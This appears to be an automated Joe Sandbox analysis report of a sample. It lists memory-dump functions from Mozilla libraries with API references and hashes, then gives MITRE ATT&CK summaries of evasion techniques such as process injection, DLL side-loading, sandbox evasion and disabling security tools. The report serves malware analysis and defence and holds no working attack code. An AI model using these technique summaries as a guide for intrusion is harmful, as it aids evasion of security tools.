Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 316221225a58763f8665d073d7e330b50e628e23887bba68895b76428bbd32a3
Instruction ID: ebb976005e811a70c40adad05abe22b27d11013c92822faafb7cba8588120217
Opcode Fuzzy Hash: 316221225a58763f8665d073d7e330b50e628e23887bba68895b76428bbd32a3
Instruction Fuzzy Hash: AB018CB1601B519BE710DF29D908757BBF8FF04A99B004839D85AC3B00EB30F054CB92

Function 6CA63DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CA2F20E,?), ref: 6CA63DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CA2F20E,00000000,?), ref: 6CA63DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA63E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CA63E0E

Part of subcall function 6CA5CC00: GetCurrentProcess.KERNEL32(?,?,6CA231A7), ref: 6CA5CC0D
Part of subcall function 6CA5CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CA231A7), ref: 6CA5CC16

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 6a3d8cbe25b9e5fec614c312c1a806079ad1c039f16ffcbfdeb2b3a4d64beb6b
Instruction ID: 10965ff95cb5287624afb88e61903462c439b39cfee7394231ac413bd020c351
Opcode Fuzzy Hash: 6a3d8cbe25b9e5fec614c312c1a806079ad1c039f16ffcbfdeb2b3a4d64beb6b
Instruction Fuzzy Hash: E6F082715003097BD704AB94EC41DAF376DDB4A628F044020FE0817700D636BD6A86F7

Function 6CBEAC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CBD5D40,00000000,?,?,6CBC6AC6,6CBD639C), ref: 6CBEAC2D

Part of subcall function 6CB8ADC0: TlsGetValue.KERNEL32(?,6CB6CDBB,?,6CB6D079,00000000,00000001), ref: 6CB8AE10
Part of subcall function 6CB8ADC0: EnterCriticalSection.KERNEL32(?,?,6CB6CDBB,?,6CB6D079,00000000,00000001), ref: 6CB8AE24
Part of subcall function 6CB8ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CB6D079,00000000,00000001), ref: 6CB8AE5A
Part of subcall function 6CB8ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CB6CDBB,?,6CB6D079,00000000,00000001), ref: 6CB8AE6F
Part of subcall function 6CB8ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CB6CDBB,?,6CB6D079,00000000,00000001), ref: 6CB8AE7F
Part of subcall function 6CB8ADC0: TlsGetValue.KERNEL32(?,6CB6CDBB,?,6CB6D079,00000000,00000001), ref: 6CB8AEB1
Part of subcall function 6CB8ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CB6CDBB,?,6CB6D079,00000000,00000001), ref: 6CB8AEC9

PK11_FreeSymKey.NSS3(?,6CBD5D40,00000000,?,?,6CBC6AC6,6CBD639C), ref: 6CBEAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CBD5D40,00000000,?,?,6CBC6AC6,6CBD639C), ref: 6CBEAC59
free.MOZGLUE(8CB6FF01,6CBC6AC6,6CBD639C,?,?,?,?,?,?,?,?,?,6CBD5D40,00000000,?,6CBDAAD4), ref: 6CBEAC62

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 7c320ac3f2e5a1bbc30204b78407df7e4efe059634c600e3ae03f5dc482c5230
Instruction ID: c120f53fdd36058cf1e0c17bb386264fffb8c73b6c80034220582cf2f1af604e
Opcode Fuzzy Hash: 7c320ac3f2e5a1bbc30204b78407df7e4efe059634c600e3ae03f5dc482c5230
Instruction Fuzzy Hash: C8012CB56012509BDB00DF15ECC0B46BBBCEF48B59F188068E9498F746D735E849CFA2

Function 6CC5CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CC5CC61
free.MOZGLUE ref: 6CC5CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CC5CC80
free.MOZGLUE(?), ref: 6CC5CC87

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 5299fe4469037dec995eeab4e7ad376280b722623a38917b1104a7dd26954926
Instruction ID: 0e07c4f34749cc3a49e658e0def99ce83af0b4257524e8719013532f1cc304ec
Opcode Fuzzy Hash: 5299fe4469037dec995eeab4e7ad376280b722623a38917b1104a7dd26954926
Instruction Fuzzy Hash: AAE065767006089FCA10EFA8DC84C8777BCEE4A2707150565E691C3700D631F905CBE1

Function 6CA785B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CA785D3

Part of subcall function 6CA3CA10: malloc.MOZGLUE(?), ref: 6CA3CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CA78725

Strings

map/set<T> too long, xrefs: 6CA78720

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 183b16af2b962d8287a641b3733ea3006336a415267827dfcefa3401d0545485
Instruction ID: 85c085fac4c079674c66649974b3c1e8e2d6e93ffe346b06576c9a5dbceaa0f3
Opcode Fuzzy Hash: 183b16af2b962d8287a641b3733ea3006336a415267827dfcefa3401d0545485
Instruction Fuzzy Hash: 3F517878600681DFD711CF18C584B96BBF1BF4A328F18C18AD8596BB52C335E885CFA2

Function 6CA2BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CA2BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA2BE8F

Strings

0, xrefs: 6CA2BE5B

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 03eb2ecd301aa5c33d73e7525aaae8fbf1bd58b0ddf6666e8c31b16fc43e530d
Instruction ID: 870e7b5f985cca93689504a790af473c72ccf4f68bcf714b743051db0be6b862
Opcode Fuzzy Hash: 03eb2ecd301aa5c33d73e7525aaae8fbf1bd58b0ddf6666e8c31b16fc43e530d
Instruction Fuzzy Hash: B541B171909755CFC701CF38D481A9BB7F4AF8A348F088B1DF986A7611E734D9998B82

Function 6CB94D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB94D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CB94DE6

Strings

%d.%d, xrefs: 6CB94DDE

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 2ec137891848a8fe31cc38064c2f0d89aa794da003e37f4e2df6811a7c47acaa
Instruction ID: 609ab4f84f43a2a849c87b21c9a45e1937bbae5c178773261968ecc2df22c57d
Opcode Fuzzy Hash: 2ec137891848a8fe31cc38064c2f0d89aa794da003e37f4e2df6811a7c47acaa
Instruction Fuzzy Hash: DE31FEB2D042686BEB109B619C45BFF7778EF45308F050439ED159B751EB309D05CBA2

Function 6CA63CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA63D19
mozalloc_abort.MOZGLUE(?), ref: 6CA63D6C

Strings

d, xrefs: 6CA63D58

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: eb7649d87e889d654c3dec5e2c7420e76dd0d8a333d5f414e66de85ef767c1f4
Instruction ID: 499f11f91ce279747c3d31dce6aafa5046bd4f96370487a1eac382d6e9b5e102
Opcode Fuzzy Hash: eb7649d87e889d654c3dec5e2c7420e76dd0d8a333d5f414e66de85ef767c1f4
Instruction Fuzzy Hash: 4D110835E04749D7DF058FAAD8154EDB775EF96218B48C718DC8557A01EB30A5C6C350

Function 6CA86DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CA86E22
__Init_thread_footer.LIBCMT ref: 6CA86E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CA86E1D

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: b69c130122ce1e667dbcce3a72a3b449e1b6bd87e1de5595043eeffee0a92ff8
Instruction ID: a2da9f6e3043c9b23aa803d47b819ba1aec342fce9b757c0c5e210c93e044da8
Opcode Fuzzy Hash: b69c130122ce1e667dbcce3a72a3b449e1b6bd87e1de5595043eeffee0a92ff8
Instruction Fuzzy Hash: 3FF0F630A063C38FEA1886E8ED50AD933726312218F084259C81047B71D631A997CBB3

Function 6CA3BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CA3BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CA3BEF5

Strings

cryptbase.dll, xrefs: 6CA3BEF0

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 12162d43af112208434fb30361524ff5e7dab7d9eb2b6efc8ea636d5f2496c24
Instruction ID: 0dca9cd570f8a4fa4999b15da14418e5b5a6ab5814d1987c4ca53b2144386211
Opcode Fuzzy Hash: 12162d43af112208434fb30361524ff5e7dab7d9eb2b6efc8ea636d5f2496c24
Instruction Fuzzy Hash: 7CD0A73118070DEACA146AD4BC05B193BB5A701715F20C120F30984891C7B09491CB50

Function 6CA7B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CA7B2C9,?,?,?,6CA7B127,?,?,?,?,?,?,?,?,?,6CA7AE52), ref: 6CA7B628

Part of subcall function 6CA790E0: free.MOZGLUE(?,00000000,?,?,6CA7DEDB), ref: 6CA790FF
Part of subcall function 6CA790E0: free.MOZGLUE(?,00000000,?,?,6CA7DEDB), ref: 6CA79108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CA7B2C9,?,?,?,6CA7B127,?,?,?,?,?,?,?,?,?,6CA7AE52), ref: 6CA7B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CA7B2C9,?,?,?,6CA7B127,?,?,?,?,?,?,?,?,?,6CA7AE52), ref: 6CA7B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CA7B127,?,?,?,?,?,?,?,?), ref: 6CA7B74D

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 58bad7fe0563ce6bfc02e77442a0f6c8aa89e93748b5c05c7e618812a68ff00c
Instruction ID: fd5c21e0d4b4bd295c966315967709902be0d76f38c6a8530bcd6421468800d5
Opcode Fuzzy Hash: 58bad7fe0563ce6bfc02e77442a0f6c8aa89e93748b5c05c7e618812a68ff00c
Instruction Fuzzy Hash: A85102B9A023168FDB24CF19E98469EB7B1FF44304F05862DC906AB700D735A884CBB1

Function 6CA8B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CA30A4D), ref: 6CA8B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CA30A4D), ref: 6CA8B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CA30A4D), ref: 6CA8B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CA30A4D), ref: 6CA8B67F

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: f32b190350ba8512e6dfaca841fced34a140c638d95d0ad76d7ec9ccb88577f5
Instruction ID: acef3289e80c87ee6acd55bf97cb37f2c50ae45bcccfee34f52bd7ac7684f463
Opcode Fuzzy Hash: f32b190350ba8512e6dfaca841fced34a140c638d95d0ad76d7ec9ccb88577f5
Instruction Fuzzy Hash: 8831F471A022168FEB10CF59EC4469EBBF6FF81304F1A8639C8069B205DB31E955CBA0

Function 6CBA0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CBA0DF5
TlsGetValue.KERNEL32 ref: 6CBA0E2D
TlsGetValue.KERNEL32 ref: 6CBA0E58
TlsGetValue.KERNEL32 ref: 6CBA0E84

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 48b05d34f9fbac29fae90482af04f0c8f57e63892d57103d56432d633b01f89d
Instruction ID: 769f77916846f4da456b55cdef0f06e107255b3302688570862b61fe2cc4d530
Opcode Fuzzy Hash: 48b05d34f9fbac29fae90482af04f0c8f57e63892d57103d56432d633b01f89d
Instruction Fuzzy Hash: 70319270E483D0CFDB006FB8E5882597BB4FF06349F114669D8DAC7A21DB358496EB82

Function 6CA5F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA5F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CA5F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA5F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CA5F668

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: bca34458bfb18dc5a480dddaa7fdb737415c8dcdeaef51a5c52fd126e04c22a4
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 34316F71A00614AFC714CF2DCCC0A9BB7F5EB84358B18C53CFA4A8BB09D631E9948B90

Function 6CA726B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA726C1
free.MOZGLUE(?), ref: 6CA726E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA726FF
free.MOZGLUE ref: 6CA7270D

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f91fdbd4a0eb4a8c8ad59dfeb563294a2781fb07fbfa6083300ce55ddfac167c
Instruction ID: 8c3cd0a66ffe6aa5e2d134aa912be82cbde97e9081c511ec3886925cac8c5f85
Opcode Fuzzy Hash: f91fdbd4a0eb4a8c8ad59dfeb563294a2781fb07fbfa6083300ce55ddfac167c
Instruction Fuzzy Hash: 88F02DB67012019BF7209E59E884D8B73BDFF4121CB544135EA16C3B01E332F999C6B1

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

